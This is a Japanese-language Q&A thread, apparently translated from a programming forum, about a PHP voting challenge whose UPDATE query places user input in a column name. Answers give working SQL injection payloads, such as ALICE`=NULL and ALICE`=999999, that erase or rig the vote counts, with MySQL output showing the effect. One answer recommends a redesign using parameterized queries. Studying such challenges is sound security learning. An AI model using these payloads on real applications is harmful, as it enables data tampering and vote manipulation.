$ vote変数に対する制御を与えられた(「チャレンジ」関数内)
SQLでクエリを挿入する方法はありますか? (ところで、チャレンジ関数が返すものはすべてSQLエラーなどを表示/読み取ることができます。SQLを挿入することはできましたが、$vote
+ 1 "パートなので、挿入しようとすると構文エラーが発生します。)
function evil($vote)
{
#Comments not allowed ]:->
#Sorry.
$vote = str_replace('#', '', $vote);
$vote = str_replace('/', '', $vote);
$vote = str_replace('*', '', $vote);
$vote = str_replace('-', '', $vote);
return $vote;
}
function challenge($vote)
{
$vote = evil($vote);
$q = "UPDATE `sqlinjection2` SET `$vote`=`$vote`+1";
$r = mysql_query($q);
if(!$r)
return mysql_error();
return 'Thanks for vote!';
}
コメントの削除はsomeインジェクションに役立ちますが、必ずすべてではないです。
この場合でも、$vote
を設定して、割り当てであったものから論理シーケンスを構築することで、フィールドをゼロにできます。
variable : vote`=1 + `vote
query : ... SET `vote`=1 + `vote`=`vote`=1 + `vote`+1;
これにより、投票が0以外の場合は0、0の場合は1に交互に投票します。
ただし、同じ更新でフィールドを複数回指定でき、すべての更新が実行されるため、次のこともできます。
variable : vote`=1, `vote`=X+`vote
query : ... SET `vote`=1, `vote`=X+`vote`=`vote`=1, `vote`=X+`vote`+1;
これは、投票を1に設定し、次に0に、次に0 + X + 1に設定します(Xが投票を2に設定するX = 0を除く)。
あなたの前提全体に欠陥があります。これは、データベースの最初の設計としてはひどいものです。
これが、テーブル構造に関する私の推奨事項です。
CREATE TABLE votes (
id SERIAL PRIMARY KEY,
candidate VARCHAR(20) UNIQUE NOT NULL,
votes INT NOT NULL DEFAULT 0
);
少し記入してください:
INSERT INTO votes (candidate, votes) VALUES ('Alice',0);
INSERT INTO votes (candidate, votes) VALUES ('Bob',0);
INSERT INTO votes (candidate, votes) VALUES ('Fred',0);
INSERT INTO votes (candidate, votes) VALUES ('Dana',0);
だから私たちは私たちの名簿を持っています:
sqlinjection2=# SELECT * FROM votes;
id | candidate | votes
----+-----------+-------
1 | Alice | 0
2 | Bob | 0
3 | Fred | 0
4 | Dana | 0
(4 rows)
そしてあなたのコードのために:
function vote($candidate) {
$query='SELECT votes FROM votes WHERE candidate = ?'
$dbh=$db->prepare($query);
$result = $dbh->execute($candidate);
if($result->rowcount() == 0) { /* Write-in candidate */
$votes = 0;
$query = 'INSERT INTO votes (votes, candidate) VALUES (?, ?)';
} else {
$row = $result->fetch();
$votes = $row['votes']
$query = 'UPDATE votes SET votes=? WHERE candidate = ?';
}
$dbh = $db->prepare($query);
$votes++;
$result = $dbh->execute($votes, $candidate);
}
(手作業でフォーマットして申し訳ありません)
この設定により、テーブルを再編成することなく、任意の数の候補を使用できます。さらに、列名の入力値に完全に依存する必要がなくなり、コードは準備され、パラメーター化されたSQLステートメントを使用します。
例外、トランザクション、およびエラー処理は、読者の練習問題として残されています。
はい、投票を無効にすることができます。解決策は次のとおりです。
投票用のMysqlデータベーステーブルは次のようにインスタンス化されます。
mysql> use test;
Database changed
mysql> create table sqlinjection2 (ALICE int,BOB int);
Query OK, 0 rows affected (0.03 sec)
mysql> INSERT INTO sqlinjection2 values (0,0);
Query OK, 1 row affected (0.01 sec)
mysql> select * from sqlinjection2;
+-------+---------+
| ALICE | BOB |
+-------+---------+
| 0 | 0 |
+-------+---------+
1 row in set (0.00 sec)
ALICEへの通常の投票で実行されるクエリ
UPDATE `test`.`sqlinjection2` SET `ALICE`=`ALICE`+1
ALICE XOR ALICE
などの注射を試しましたが、うまくいきませんでした。
私のために働いたものは以下でした
パラメータ:
vote=ALICE`=NULL , `ALICE`=`ALICE`
実行されたSqlString:
UPDATE `test`.`sqlinjection2` SET `ALICE`=NULL , `ALICE`=`ALICE`=`ALICE`=NULL , `ALICE`=`ALICE`+1
注射前の表
mysql> select * from sqlinjection2;
+-------+---------+
| ALICE | BOB |
+-------+---------+
| 20| 20 |
+-------+---------+
1 row in set (0.00 sec)
注入後の表
mysql> select * from sqlinjection2;
+-------+---------+
| ALICE | BOB |
+-------+---------+
| NULL | 20 |
+-------+---------+
1 row in set (0.00 sec)
また、ALICEは通常の場合は勝ちません。 NULL+1
はNULL
です。
pdate:ALICEで勝利したい場合は、以下のようなパラメータを注入できます
パラメータ:
vote=ALICE`=999999 , `ALICE`=`ALICE`